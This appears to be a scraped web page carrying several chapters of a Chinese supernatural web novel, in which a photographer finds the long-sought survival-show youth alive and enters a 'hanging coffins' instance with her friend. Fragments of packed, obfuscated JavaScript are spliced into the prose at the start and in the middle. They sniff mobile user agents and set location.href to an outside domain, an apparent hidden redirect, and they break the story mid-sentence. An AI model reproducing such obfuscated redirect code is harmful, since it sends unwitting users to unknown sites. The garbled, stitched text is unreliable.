l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868873|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 怎料,年久失修的台式电脑却突然抽风,自己打开了求生综艺。 求生综艺里的獐山岛上,古木参天。少年冷峻的身影,就这样猝不及防地撞进齐檎丹的生命里。 少年的年龄比她略长。 光芒耀眼,犹如刀锋寒芒。 解谜题,斗鬼怪,少年凭借惊人的冷静与脑力,带同伴生生搏出了一条血路, 而这个从未见过的少年,与齐檎丹竟有着颇为相似的经历。区别在于,少年已然跨过了这道坎,而齐檎丹还在其中弥足深陷,甚至希望借死亡逃避。 但,别人可以做到,说明这条路并非只有死路一条。 既然如此,她为什么不可以? 这个念头蓦地升起,遮住齐檎丹眼前的暗沉天幕,仿佛被撕开一道裂缝。 齐檎丹本来已经对面临的困境认了输,认为这糟糕的局势毫无回转的余地,但这个少年以自身的经历告诉了她,并非如此。 一股不服输的心气骤然涌现,激发出了求生的本能。 齐檎丹求死的念头,首次扭转。 流淌的鲜血已染红地面,失血的冷意不断侵袭,齐檎丹愣是撑着一口气打了急救电话,将自己送进医院治疗。待到好转之后,她又硬生生凭着这股劲,自己咬牙度过了一个又一个难关。 逆风翻盘的路,哪里可能好走?一个个经历挫败的深夜里,齐檎丹将综艺里有少年的片段看得近乎包浆。那张模糊的照片,便是齐檎丹在这期间的产物。 综艺所在的软件无法截图,齐檎丹只能拿起手机,拍下少年的照片。 彼时的齐檎丹尚且对摄影一窍不通,她按下快门的那刻,又不巧赶上少年扭头转身的动作,手机被拍下的人影,也因此变得模糊不清。 齐檎丹没有再拍第二张照片。 当时的她,误以为有少年的求生综艺,会一直被保留在互联网上,点进网站就能看到。能在综艺里经常见到的人,没有过多拍照的必要。抱着这个想法,她高三时为了学业,毅然断网。 然而,等到高考结束再次打开电脑时,齐檎丹才发现—— 她想错了。 看综艺的软件不翼而飞,所有人对这档综艺集体失忆,网上的相关讨论销声匿迹……这档求生综艺留下的痕迹,仿佛被人凭空抹去。综艺里的少年,更是无迹可寻。 高考后的那个夜晚,齐檎丹房间的灯整整亮了一夜。她发疯似的搜遍全网,然而最终找到的,只有一则疑似少年的死亡证明。 白纸黑字,好比晴天霹雳。 少年真的死去了吗? 死亡证明的真伪,齐檎丹无处验证。 她只知道,当初拍摄下的那张照片,已成为她所能留下的,唯一与少年有关的东西。 这五年里,齐檎丹从未放弃过找寻,她不止一次地拿照片给他人辨认,却从未得到过结果。模糊成这样的照片,有谁能认得出来呢? 齐檎丹苦笑了一下,把照片重新放回左心的口袋里。 她的手机铃声,随后响起。 来电人,是她的室友兼朋友苏意虹。 齐檎丹是独立摄影人,苏意虹则是化妆师。齐檎丹的化妆技术,就是她教的。 苏意虹在这通电话里,依旧延续了她一贯的话唠风格。刚接通,一大堆问句就险些把齐檎丹砸懵:“拍完了吗?拍得怎么样?我记得你跟我说过,这次找你约拍的客户,是那个梁氏集团的千金大小姐。她应该没什么大小姐脾气吧?” “没有,她性格挺好的。只是约拍没拍成,我们不小心进了个副本,我还把相机肩带弄脏了。”齐檎丹叹气。 相机缺了肩带后,除了放进相机包,就只能小心拿在手里。 携带起来,稍微有点不方便。 “没关系,肩带脏了大不了再换一条嘛……”苏意虹说到一半,突然反应过来齐檎丹说了什么,声音顿时拔高了一个八度:“不是吧?你怎么也进副本了?” “等等,也?”齐檎丹眉心一跳,登时意识到什么: “等我半小时,我马上回去。” 她有话跟苏意虹说。 22. 现实世界2 “苏意虹,要不是你说漏嘴被我发现,你是不是打算瞒我瞒到天荒地老?”齐檎丹推开合租房大门后的第一件事,就是兴师问罪。 她大步走进客厅,在懒人沙发上逮住了一个五颜六色的脑袋—— 苏意虹的。 齐檎丹辨认苏意虹,主要靠苏意虹的两点特征。 第一点特征,是被苏意虹染上了足足七种不同颜色的短发,又卷又蓬松,活像彩色波波球。第二点,则是她“天大地大,吃饭最大”的人生信条。 除吃喝以外,苏意虹那叫一个没心没肺。 凡事不往心里搁。 以齐檎丹对苏意虹的了解,她毫不怀疑,苏意虹会是那种——爱美食爱到连墓志铭上都是报菜名的人。 “冤枉啊,大人!小的哪儿敢啊?”苏意虹举双手投降,并十分有眼力见地,向她上供了手上才吃了一半的番茄味薯片。能把最爱的番茄薯片拱手相让,已经是苏意虹最诚恳的认罪态度。 奈何齐檎丹大人刚正不阿,软硬不吃:“说说吧,你是什么时候进副本的?” “比你早两周,刚通关第二个副本不久。” 苏意虹缩着脖子,讪讪地笑了一下:“其实这件事,我早就想告诉你来着,但你这段时间忙着拍客片,成天早出晚归的,我找不到时间。而且,现实里好像也有规则限制,我每次想跟没进副本的人说副本里发生的事,总会莫名其妙地张不开嘴,就像这样……” 担心齐檎丹不信,苏意虹手动把上下两片嘴唇捏在一起,作为示范,结果“唔”了老半天,也“唔”不出个完整的音节。 她有意想逗齐檎丹笑,但齐檎丹忍住了。 齐檎丹别开脸,假作嫌弃,趁机把嘴角压了下来:“那用写的呢?” 苏意虹夸张地叹了口气。 “也试过了,没用。”她抱起剩下的半袋薯片,把自己重新摔进软乎乎的懒人沙发,“就算用写的,也会被马上抹去,半点都留不下来。” “被抹去?”齐檎丹冷不丁联想起,五年前那档带着所有相关信息消失的综艺。 如果来自副本世界的力量,可以屏蔽甚至抹去部分现实,那么五年前,这股力量应该也可以运用同样的手法,让求生综艺和一切与之相关的信息,全部消失。 齐檎丹的眸光越来越沉。 “你知道,这次约我拍写真的梁大小姐,让我想到谁了吗?”齐檎丹停了片刻,“我在找的那个人有个队友,跟她长得很像。” 五年的时光确实够长,但只能改变得了皮相,改变不了骨相。 她记得梁安颜的模样。 “或许是受副本力量的影响,我对他们的事情忘得很快。但哪怕我已经记不得他那些队友的名字,我看到她时,也依然有眼熟的感觉。”齐檎丹将各种证据逐一列举: “我问过了,梁安颜很可能也去过獐山岛。因为在我问完后不到半刻钟,我就发现,她的朋友圈屏蔽了我。” 摆明了心虚。 苏意虹短暂地从番茄薯片上移开注意力:“感觉是同一个人的概率很大啊。梁安颜万一跟你要找的那个人真是队友,那你要找的人有可能没死。要是没死,他很可能也是一个考察员。” 苏意虹调出系统面板,手指在上面点点划划。 “你在做什么?”齐檎丹问。 “打开所有考察员的名单,准备用人名搜索啊。” 苏意虹两个腮帮子鼓鼓囊囊的,里面塞满了薯片,像只小仓鼠,因此咬字稍微有点不太清晰:“你要找的那个人的名字,你还记得吧?告诉我一下。名单里真名假名鱼龙混杂,其他信息也都做了保密处理,但只要他没有用假名,就能够搜得到。” 虽说苏意虹接触系统的时间,只比齐檎丹多了两星期,但善用搜索这种最基础操作,她还是会的。 只要人名准确,此人在不在副本里,她一搜便知。 看着苏意虹面前的半透明的系统面板,齐檎丹意识到,这或许,是她距离寻人成功最近的一次。齐檎丹沉默半晌:“……顾斩风,他叫顾斩风。” “得令!我搜搜这些考察员里,有没有他。要是有,记得请我吃饭哦!”苏意虹扯了张纸巾,擦了擦沾满番茄调味粉的手指,接着输入人名。 下一刻,搜索结果跳出。 苏意虹的惊呼,几乎与之同步响起: “找到了!名单里真有顾斩风这个人,他根本没死。这边的记录显示,顾斩风最近一次从副本里出来的时间,就在昨天。” 齐檎丹的心脏一瞬被擢紧了。她不受控制地扑到面板前,看向“顾斩风”这个被她默念过千百遍的名字。系统面板上幽幽的荧光,将这熟悉的三个字,清晰无比地映入虹膜,刺得齐檎丹不由得眼眸发酸。 她就知道,顾斩风不会这么轻易地死去。她多年的找寻,在这一刻,终于有了结果。 她要找的人,她找到了! 难以言喻的狂喜,在齐檎丹内心涌现。 “顾斩风没事真是太好了。当时我去搜他的时候,那些他重伤的照片和死讯的时候,差点没把我给吓死,”齐檎丹抚着心口,“对了,顾斩风他恢复健康多久了?” 苏意虹于是帮着又搜了一下,越搜越困惑:“恢复?顾斩风这些年长期活跃在副本世界里,通关的副本很多,他的考察员等级也很高……这也不像是有事的样子啊。不只那条死讯是假的,他重伤的消息,可能也是假的吧?” “不可能啊,他不像会骗人。”齐檎丹不信邪地亲自上手去搜。然而,搜到的信息仿佛一场从天而降的大雪,她脸上的笑容,逐渐被冰雪冻僵。 终于找到人的激动心情,也慢慢地,被纷飞的雪片盖过。 齐檎丹的心冷却下来。 既然顾斩风还活着,他为什么从未澄清过自己的死讯? 死讯是假的,重伤也是假的吗?为什么齐檎丹这么多年来,无论是在网络上,还是现实中,除了那则死讯和些许迅速消失的重伤照片,她都从来不曾搜索到顾斩风的信息? 人是社会性动物,只要生活在这世界上,就不可能了无痕迹。 除非,痕迹被抹去了。 要想将一个人存活于世的痕迹,隐藏得这么干净,一般是很难实现的。 就现有的线索来看,只可能是顾斩风从系统商城里,兑换了某种道具,并借助来自副本世界的力量,刻意隐匿了他自身的存在。 齐檎丹的心情非常复杂。 发现找了那么久的顾斩风还活着,这对齐檎丹来说,当然是好事。可是在事实被揭晓的那一瞬间,齐檎丹还是感觉到心脏隐隐发闷。 从理智上,齐檎丹理解顾斩风,理解顾斩风隐藏这些信息,抛出假死讯,是为了更好保护他自己。这无可厚非,甚至是明智之举。 但即便理智在努力说服情感上,齐檎丹心中还是生起一丝被欺骗的难受。 是的,难受。 哪怕顾斩风不是故意的,他的欺瞒也确实存在。 而且这次欺瞒,让齐檎丹大海捞针一般的找寻,持续了整整五年。要不是她这次认出了来约拍的梁安颜,又进入副本,这样无望的找寻还不知道要再延长多久。 从始至终,她都被蒙在鼓里,忍受着无谓的担心和悲伤,对所有事情一无所知。 活像个笑话。 苏意虹不知道她的想法,还在欢欢喜喜地往嘴里塞薯片:“你现在是不是很兴奋,很激动?找了那么多年,终于找到他了,你想去见他吗?或者跟他说两句话?让我看看有什么方法,可以帮你联系上他……” “不用了,知道他活着就够了。”齐檎丹拒绝了她的好意,只勉强撑起微笑,“饭我会请的。想好要去哪里吃,等下把店名发给我。” 齐檎丹的语气比平时稍冷了一些。 哪怕这冷意不是冲着苏意虹来的,苏意虹还是从她的语气中,听出了一丝不悦。 苏意虹刚转过头,就见齐檎丹正从外套口袋里,往外掏那张她珍藏了多年的高糊照片。 齐檎丹左手拿照片,右手持剪刀。两片锋利的刀片,在照片上大概比划了一下,像是在思考先从哪里下刀合适。怎么看,那张可怜的照片都岌岌可危。 然而这一刀,齐檎丹终究还是没能剪下去。 她面无表情地放下剪刀,转而抬脚踩上垃圾桶的机关,对准打开的垃圾桶松开手指,把照片丢了进去。 脚尖挪开,垃圾桶盖子自动闭合。 齐檎丹眼不见为净。 果然,拍烂的照片最适合的归宿,还得是垃圾桶啊。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872512|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >. 齐檎丹不知道的是,在她丢掉顾斩风照片的同一时刻,顾斩风研究室里的电脑屏幕上,却竟然铺满了齐檎丹的照片。 那些照片里,既囊括了齐檎丹发布在社交媒体上的生活照,又包含她发布在网上的客片。 数量之多,让进门的梁安颜和龙骁吃了一惊。 顾斩风正在分析这些照片里,所蕴含的信息。这些信息被事无巨细地收集、整合、提炼,最终,总结成为他对齐檎丹这个人的了解。 眼前的所见,让龙骁颇感新奇。 毕竟,顾斩风冷心冷情的属性,他们几个可是见识过的。 顾斩风很少对人产生好奇,并作出想要了解一个人的举动。他上一次拿出这股钻研的劲头,还是做项目的时候。 “哇哦,难得你这么留意一个人。” 龙骁嬉皮笑脸地调侃。 顾斩风冷冷地瞥了龙骁一眼,动动手指,操作着系统面板,打开了实时的新人排行榜:“你要是第一次进副本就能拿到这个成绩,我也会好好留意你的。” 新人排行榜上,齐檎丹的名字赫然位列榜首。 无比醒目。 让人想不关注都不行。 自系统出现起五年来,齐檎丹是唯一一个头一个副本就是困难级别的新人,也是唯一一个在如此之短的时间内,就斩获新人排行榜第一的考察员。且她的剧情解锁度,达到了惊人的百分之百。 在新人死亡率居高不下的副本世界里,极具研究价值。 研究室的设计走的是性冷淡风,与顾斩风本人一脉相承,处处透出无机质般的漠然。由于研究室在建造上,使用了一部分系统提供的材料,不会受到副本世界对现实的屏蔽限制。 正因如此,顾斩风才能放心将齐檎丹的直播录屏导入电脑,而不用担心被抹去。 研究室最中央一方巨大的屏幕,与顾斩风的电脑连接,录屏导进去的一瞬间,刚好定格在齐檎丹发丝扬起的那一霎。 棕黑的发色中,一缕浆果红的挂耳染肆意飞扬,成为了研究室里唯一的亮色。 就像是冰川之上,混进了一簇烈焰。 燃烧得灼灼逼人。 “挑战困难副本,挑衅N.PC,拿高危角色,追着鬼当模特拍……她简直是在享受副本。”顾斩风微微抬头,望向大屏幕上的齐檎丹,似乎不明白她为何会做出这么多的高风险行为。 希望她不是想要剑走偏锋。 在副本世界里玩命,是真的会把小命玩完。 “也许,齐檎丹只是想拍照,”梁安颜耸了下肩,向顾斩风展示了齐檎丹发布在社交平台上的样片,“不过她想拍的不是人,是鬼怪。进副本前,她就热衷于此。” 喜爱拍鬼怪题材的摄影师,进入鬼怪副本,自然是如获至宝。 这一点也不奇怪。 “不过我过来,主要是因为另外一件事情。”梁安颜拉来一张椅子坐下: “出副本的时候,齐檎丹给我看了一张照片,向我打听照片上的人。那张照片很模糊,不知道她从哪儿得来的,但我跟龙骁讨论了一下,最终得出结论——她在找的这个人,最有可能是你。” 齐檎丹提到獐山岛的那一句话,大大缩小了他们的找寻范围。他们队里就四个人,简直不要太好找。 即便背影已被模糊成为色块,根据服装配色,也可以进行一番筛选。 那背影,只有黑白灰三色。 从这极致性冷淡风的色彩搭配,不难认出是谁。 梁安颜缓声开口:“我在想,既然你对齐檎丹这么感兴趣,不妨亲自接触一下,增进了解?那张照片很旧,她应该找你很久了。如果见面,对你们或许都有好处。” 梁安颜非常贴心地,给顾斩风留了半分钟的思索时间,并拿出了一张高级组队卡。 哪怕没见过面,被高级组队卡绑定的两个人,也必定被分到同一副本。 由于进副本时过于突然,梁安颜手头里还剩一张组队卡没来得及使用。既然齐檎丹和顾斩风对彼此似乎都感兴趣,梁安颜非常乐意帮他们牵线搭桥,顺便回报一下齐檎丹。 “怎么样,考虑好了吗?”梁安颜晃了晃组队卡,笑着问道: “一旦绑定成功,就没法更改了哦。” 23. 峭壁悬棺1 齐檎丹没有千里眼,也没有顺风耳,因而对自己可能会被绑定组队的这件事一无所知。这会儿,她正忙着筛选并精修副本里拍到的照片。 有赖于副本里得天独厚的恐怖氛围,以及鬼怪的热情出镜,这些照片一张比一张震撼,以至于这些照片对她的吸引力,甚至大过了副本的通关奖励。 唯一的缺憾是,这些照片只能成为“皇帝的新照片”。 ——受限于副本世界对现实的影响,这些照片在没进过副本的人眼里,会被自动屏蔽。 但齐檎丹没太介意这一点。 照片能放着供她自己欣赏,就足够了。 为了修图,齐檎丹第二天特地没有接单,破天荒地在家里待了一整天。 等齐檎丹好不容易把这些照片修完,刚揉了揉酸涩的眼睛,靠在椅背上伸懒腰时,她就听见客厅里,传来了苏意虹拎着大包小包,艰难开门的声音。 齐檎丹过去帮着拿东西,目光无意间瞥见苏意虹买的东西—— 无一例外,全是美食。 烤鸭、炸鸡翅、蒜香黄油虾,瀑布芝士汉堡,土豆丝饼……各色各样的佳肴小吃令人眼花缭乱,而且香气一个赛一个浓郁,仿佛要比赛谁先把人口水勾下来。 齐檎丹笑着调侃:“你这是不想当化妆师了,想要改行在家里开餐馆?” 买这么多,吃得完吗? “吃不完我也要吃。”苏意虹一脸悲愤地,往嘴里狂塞食物,“我进副本这时间又要到了,我就算是……嗝儿……死了,我也要当个饱死鬼。” 如今,距离苏意虹从上一个副本里出来的时候,已经快满七天,她被要求进入副本的时间就要到了。 可副本里的食物,苏意虹没胆子碰,而系统商店里售卖的东西有限,除了大量道具,只有些仅能够维持生命体征的用品。进副本期间,难以下咽的压缩饼干就着水,就是一餐。 不要说美食了。 根本瞧不见正常点的食物。 对吃货苏意虹来说,这简直是天大的折磨。 一想到进副本后清汤寡水,还随时可能成为鬼怪盘中餐的悲催生活,苏意虹立刻报复性进食,吓得多啃了一只炸鸡:“我通关唯一的动力,就是活着回来炫饭。” 但,在目睹了前两个副本的惨状之后,她现在连是否能活着回来,都不敢确定。 “你什么时候要进新副本?”齐檎丹问道。 苏意虹苦着一张脸:“就在今天。” 副本会告知他们共有几天的休息时间,却不会给出明确的进副本时刻。每次到了要进副本的当天,苏意虹一整天都提心吊胆。 齐檎丹当即点开系统商店,买下组队卡:“刚好手痒想拍照了,我陪你进去。” “啪”的一声,苏意虹被感动得掉了筷子。她抬头望着齐檎丹,泪眼汪汪:“呜呜呜呜齐檎丹你太好了,你真的要陪我下副本吗?我没听错吧?那些吃人的鬼怪,你不怕?” “你看我像怕的样子吗?”齐檎丹笑着,在她七彩的短发上揉了一把,感觉像是在揉一个手感极好的毛团子。 由于上一个副本太过出片,齐檎丹不间断地对着电脑修了一天多,才堪堪把那组照片修完。可是同一组照片再好看,看了这么久也会腻的。 齐檎丹火速喜新厌旧。 她现在巴不得进新副本,拍点不一样的换换口味呢。 反正每个副本里布景不同,鬼怪不同。 像是不一样的摄影棚。 小孩子才做选择,齐檎丹是成年人了,这些副本她全都喜欢!全都想拍! 买来的新相机肩带已经被换上,齐檎丹整装待发。她抽了张纸巾,缓缓擦去相机上沾染的尘埃,如同古时候的将军在上战场前,会爱惜地擦拭那把陪她出生入死的刀刃。 还不等苏意虹把剩下的半桌子菜扫荡完,苏意虹头顶上进副本的倒计时,就归了零。 一个巨大的漩涡,逐渐在她们面前浮现。 进副本的时间,到了。 被齐檎丹使用的组队卡化作一条细线,分别缠.绕上她的左手腕和苏意虹的右手腕,将两人牵在一起。 “走吧。”齐檎丹说道。 她迫不及待想去看看,新副本里有什么好拍的了。 然而,刚迈开步伐,一股拉拽感骤地从她右手上袭来。不过须臾之间,齐檎丹的右手手腕上,竟然又浮现出了一条细线。 这条细线只见其首,不见其尾,仿佛凭空生出来的一般。 与齐檎丹左手那条类型相似。 颜色却略有不同。 那流光溢彩的颜色,让齐檎丹立刻联想到了高级组队卡。高级组队卡的品质,比普通组队卡更高一级,两者只在颜色上有所区分。 很显然,有人为了跟她进同一个副本,不惜动用了这最高级别的组队卡。 两人面前,通往副本的漩涡早已成形,气流旋转的速度越来越急,宛如催促。齐檎丹不再理会右手那多出来的一条细线,只向漩涡大步迈去,唇角的弧度逐渐扩大。 她没空再多想了,进副本拍照的激动,已然占据了她的全部心神。 至于是谁对她用了组队卡?齐檎丹没兴致去管。 反正兵来将挡,水来土掩。 一切没有拍照重要。 无偿的摄影棚,免费的模特,她来啦! . 齐檎丹心中最理想的状况,是一睁眼,就身在副本诡谲离奇的风景当中,不愁没东西可拍。就如上一个副本里,她来到红砖古厝前一样。 然而,理想毕竟是理想。 骨感的现实事与愿违,似乎打定主意要给齐檎丹泼一盆冷水。 齐檎丹刚动了动脚,就踢到了脚边乱扔的果皮纸屑;才睁开眼睛,前方座椅靠背上沾着的一大块不明污渍,就给了她当头一棒。齐檎丹掐着眉心缓了缓神,这才抬起头环顾四周。 他们正位于一辆22座的旅游大巴内,而车内的环境只用三个字,便能精准概括: 脏!乱!差! 环境糟糕透顶,齐檎丹忍无可忍地闭上眼睛。多看一秒,她都感觉自己的眼睛会遭到玷污。 【已检测到考察员进入副本。考察员信息正在导入中……】 【姓名:齐檎丹】 【考察员等级:D级】 【考察员头衔:初出茅庐】 【专属技能:照鬼相机(lv2)】 【道具:夫人妈神像(稀有)、穆青青的记者证(普通)、照片“古厝烈焰”(SS级)】 【携带积分:500(本副本仅可携带500初始积分,已达上限)】 【个人直播间:已开启】 齐檎丹从上一个副本里获得了不少奖励,手头的积分原本还能算得上宽裕。然而,在只能携带500积分进新副本的要求下,这点宽裕一下子灰飞烟灭。 她的积分,再次变得捉襟见肘。 比齐檎丹晚些进副本的苏意虹,同样对这辆大巴车嫌弃不已。一进入副本,她便捏住鼻翼,皱着眉,用手掌连连扇风:“噫,这大巴车怎么这么旧啊,车上怎么还有一股怪味?” 旅游大巴的车窗是推拉的款式,苏意虹本意是想推开车窗通风,怎料她使劲一推,却没能推动窗户。 ——这块布满褐黄.色水垢的车窗,居然被上百颗铁钉密密麻麻地钉死在了窗框上。 不留一丝缝隙。 不仅这扇车窗,大巴上所有的窗子也都如此。整个旅游巴士被钉得宛如铁桶一块,而在被钉死的车窗上,齐檎丹竟找到了几道几乎穿透玻璃的抓痕。 单看这些抓痕惊人的深度,都能想象得到,这一爪子下去的杀伤力有多么恐怖。 这绝不是人能做到的。 只能是鬼怪! 齐檎丹被激得打了个冷噤。恐惧加速了心率,升高了血压,她却觉得前所未有地振奋。 只要直面强大的鬼怪,她就有更大几率,能拍出更震撼的画面。这种生死一线之间,刺激得人肾上腺素狂飙的危机感,是现实里那群模特怎么摆造型、用技巧,都拍马不及的。 大巴的车载空调老化失修,吹不出一点冷气。闷热得好比蒸笼的车内,苏意虹突然抬肘捅了捅齐檎丹的腰,示意她往前面看。 这辆旅游大巴车是二十二座,可实际上的乘客人数不足二十人,座位十分宽裕。然而,乘客中的一大半,正不约而同地向同一个地方聚集。 众星拱月般,将一个身影围在中间。 苏意虹探头探脑了老半天,才从人群的缝隙间,勉强瞧见半张线条锋利的侧颜。 冷冽如刀锋。 拒人于千里之外。 “哎哎哎,那是你要找的顾大佬吗?这回可算是见着真人了。”苏意虹比齐檎丹还激动。 “顾大佬?”陌生的称呼,让齐檎丹不由自主地皱起眉头,“你说的,该不会是顾斩风吧?” “对,就是他。”苏意虹点头。 知道齐檎丹找了好几年的人,就是顾斩风之后,苏意虹特地去搜了很多关于他的信息,帮忙了解了一番。 越替齐檎丹了解,苏意虹就越佩服顾斩风这个人。要不是碍于齐檎丹这个朋友,打从上次发现顾斩风刻意隐瞒生死状态,以假死瞒骗后,对顾斩风的态度渐趋复杂,苏意虹的眼睛能变成星星眼: “顾斩风这个人是真大佬。考察员等级是当前最高的等级,排行常年稳居总榜第一,连头衔都是金光闪闪的。” 苏意虹打开顾斩风公开的个人信息。 她把面板挪到齐檎丹面前。面板上,顾斩风金色的考察员等级头衔,晃疼了齐檎丹的眼睛。 齐檎丹连忙别开脸。 齐檎丹现在最不想见到的人,就是顾斩风。她不想听到顾斩风的消息,一点都不想。 本来被丢进这个乱糟糟的大巴就烦。 看到顾斩风,更烦了。 可苏意虹是出了名的没心没肺,话唠起来的时候,眼力见等同于没有。 即便当初齐檎丹把顾斩风的照片丢进垃圾桶里时,苏意虹也只以为是人找到了,所以不需要照片了。因此,她没有立刻意识到齐檎丹抗拒的内心,而是把收集得到的资料都说了出来: “顾大佬是最早一批进副本世界的考察员,也是当前等级最高的考察员之一。他的追随者可多了,你就算喜欢上他不奇怪……唔唔唔唔唔!” 齐檎丹听得太阳穴突突直跳。她一把捂住了苏意虹的嘴,强行将其手动闭麦: “……打住,我才不是喜欢他。” 话虽这么说,对顾斩风是什么情感,齐 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玻璃上深深的抓痕,扭曲了车窗外的光景。 给万物,镀上模糊的冷意。 齐檎丹双眼放空地眺望窗外。其实,这些年坚持寻找顾斩风,除了出于对顾斩风的关心,也是为了给她自己的遗憾一个交代。 至此,顾斩风已经找到,她的缺憾已被填补。 她也该及时止损了。 在知道顾斩风还活着之后,齐檎丹一直本能地排斥与顾斩风产生联系。 她还是个刚进副本世界的小小新人,顾斩风已经荣誉加身,他们本不该再有牵连。可偏偏,就在这个齐檎丹最不想见到顾斩风的时候,他们俩却被分进了同一个副本。 天杀的!这到底是为什么? 明明不应该啊。 齐檎丹捂住额头,有点崩溃。 她进副本的次数仅仅是第二次,苏意虹也才第三次,排名和进副本的数量根本不可能和顾斩风相提并论。差这么多,她们怎么会和顾斩风匹配到同一个副本? 难不成,她们两个刚出新手村的菜鸡,被匹配到了什么地狱级难度的副本? 齐檎丹的心狠狠一颤。 能够进更高难度的副本,拍到更具恐怖美学的鬼怪,自然是极好的——但,看看这辆破旧的旅游大巴,看看这乱七八糟的车内环境……齐檎丹越看越觉得不值。 万一没拍到一张满意的照片,先把命给丢了,那她可就亏大发了! 好在,没等齐檎丹胡思乱想太久,副本的具体信息就火急火燎地跳将出来,自证清白。 【副本名称:峭壁悬棺】 【等级:C(困难)】 【背景:你们是一群民俗爱好者,听闻有个保留了悬棺这一丧葬习俗的古村,你们自发组织了这次前往古村的行程,打算考察悬棺葬。此刻,你们正坐在开向古村的旅游大巴上……】 【主线任务:考察悬棺葬习俗。】 【无初始生命剩余值限制】 副本的背景信息一给出,大巴车窗外的景色竟真的移动了起来,仿佛他们真坐在一辆不断行驶的车上。 趁着这个时候,齐檎丹赶忙多瞥了一眼副本等级。 啧,C级困难副本。 齐檎丹的心情,十分一言难尽。 虽然这说明,考察系统没有因为一时抽风,把她们错拉进顾斩风那个级别该进的副本,但把她们两个新人扔到困难副本里来,也是有够不干人事的。 据齐檎丹所知,像那些简单级别的A.级副本,才是她们这两个新人最应该进的。 “不是吧?C级副本!”苏意虹发出哀嚎。 她前两个副本才A级。 C级困难副本对她来说,简直是地狱难度。 哪怕只是看到这个“C”字,苏意虹已经觉得自己要下地狱了。她两眼一黑,带着颤音交代遗言:“齐檎丹,要是我死在副本里,你逢年过节,能不能给我供点好吃的?呜呜呜我的炸鸡,我的巧克力蛋糕,我的甜甜圈,我会想你们的……” 如果她们俩,单纯只是两个一无所知的新人,进C级副本那确实是奔着找死去的。 幸好,齐檎丹毕竟已经通过了一个C级的困难副本,再次看到C这个字母时,她并未太过慌张。同样级别的困难副本,她应该还能应付得来。 要是副本等级再往上,那才是真的会让她苦恼。 齐檎丹心里有了底气。 她安慰了苏意虹两句,赶在副本正式开始,随手叉掉了关于副本信息的弹窗。副本详情瞬间从眼前消失,一切显得风平浪静。 然而,无人看见的系统后台处,一场诡异的混乱正在上演。副本等级旁显示的字母C,突然晃动了一下,继而在顷刻之间,坍塌成一堆乱七八糟的代码。 系统后知后觉,企图紧急向副本内的考察员发出警报,却被无形的力量悉数拦下。 【滋滋,系统受到不明能量攻击。检测到异常状况,副本等级正在修改中……】 刺耳的电流声中,那堆错误代码不断重组、变化,最终生成了一个全新的字母。 【修改已完成。】 【新副本等级:D(加难)】。 24. 峭壁悬棺2 因为没收到系统的提示,齐檎丹对副本难度升级的事情一无所知。她依然没有放弃思索,和顾斩风进同一个副本的原因。 如果不是系统出了错,那莫非是顾斩风用了什么道具,跟着她们进了副本? 齐檎丹越想越觉得荒谬。 顾斩风如今在副本世界里是什么地位,别人巴结讨好都来不及,又怎会跟她一个新人纠缠不清。然而,那条她进副本时,高级组队卡突然系到她右手手腕上的细线,又怎么解释?齐檎丹感到心烦意乱。 可,她既然能想到高级组队卡可能是顾斩风用的,苏意虹自然也行。 只是,苏意虹知道她在复杂的心路历程,对顾斩风的态度已经一变再变,却不曾想,状况急转直下得这么明显,于是跟她开起玩笑:“你找了顾大佬五年,顾大佬动用高级组队卡和你绑定,这怎么能不算一种双向奔赴?” “顾斩风根本就不认识我。”齐檎丹不得不开口指明,告诉苏意虹,这么嗑纯属造谣式乱嗑,“什么都嗑,也不怕吃坏肚子?” 苏意虹装出一副油盐不进的模样:“什么都嗑,只会让我营养均衡。” 齐檎丹:“……” 好好好,嗑CP脑劝不动。 她这个闺蜜,不仅在美食口味上接受能力强大,敢吃的多,连嗑起CP来也完全不挑。 齐檎丹忍不住瞥了一眼她自己的直播间。好在因为才刚开播,进入她直播间的观众人数并不多,没有多少人会把苏意虹说的话当一回事。 谢天谢地。 苏意虹再怎么迟钝,也从齐檎丹接二连三的反感中,看出来了不对劲。 苏意虹闭上嘴,终于不再说话。之前,苏意虹之所以查顾斩风的消息,嗑他们两个的CP,完全只是以为好友齐檎丹喜欢他。但现在,齐檎丹的态度已经变化,苏意虹的想法也跟着改变了。 她要跟好友同仇敌忾。 要坚定立场。 苏意虹迅速调整策略,牢牢地和朋友站在了同一条战线上。 什么顾斩风顾大佬,不就是排名高居榜首,考察员等级也高了点吗?有什么了不起的? 只要齐檎丹不喜欢,就算来十个顾斩风,也配不上她! . 沿着曲折陡峭的山路不知行驶了多久,行驶得好端端的大巴车陡然停住。 急刹之下,齐檎丹被惯性拽得猛一向前,又被安全带勒着胸腹扯回来,后背狠狠拍在座椅靠背上,心肝脾肺都险些给拍碎。 再抬头时,司机已把车停在山道上,从旁边的包里掏出一只鸭掌,旁若无人地啃了起来。 那虎皮鸭掌是先炸后卤的,外皮酥软起皱,每一条褶皱里都吸满了卤汁,一被拿起来,酱汁就滴滴答答往下淌。即便齐檎丹坐在车上靠后的位置,都能闻到鸭掌卤汁散发出的味道——酸而臭,类似螺蛳粉。 齐檎丹的眉头皱了一下。 有这么大的鸭掌?她之前怎么没见过? 那鸭掌似乎极美味。司机嗦一口烂糊的皮肉,再吐两块骨头,吃得不亦乐乎,车上的乘客则等得心浮气躁。 已经进副本好些时候了,他们却迟迟没能触发剧情。 现在,居然连司机也撂了挑子。 要是旅游大巴就这么停在半山腰上,他们要等到猴年马月,才能到达任务要求考察的那个古山村啊。 “怎么突然停了?继续开啊!” “是车坏了,还是前面发生事故了?” “还能不能走啊?要不要我们下去看看情况?前面还有好长一段路呢。” 大巴车内,考察员们个个怨声载道。其中,有个黄头发的考察员,为了在顾斩风面前得到一个表现的机会,自告奋勇,主动要下车查看。 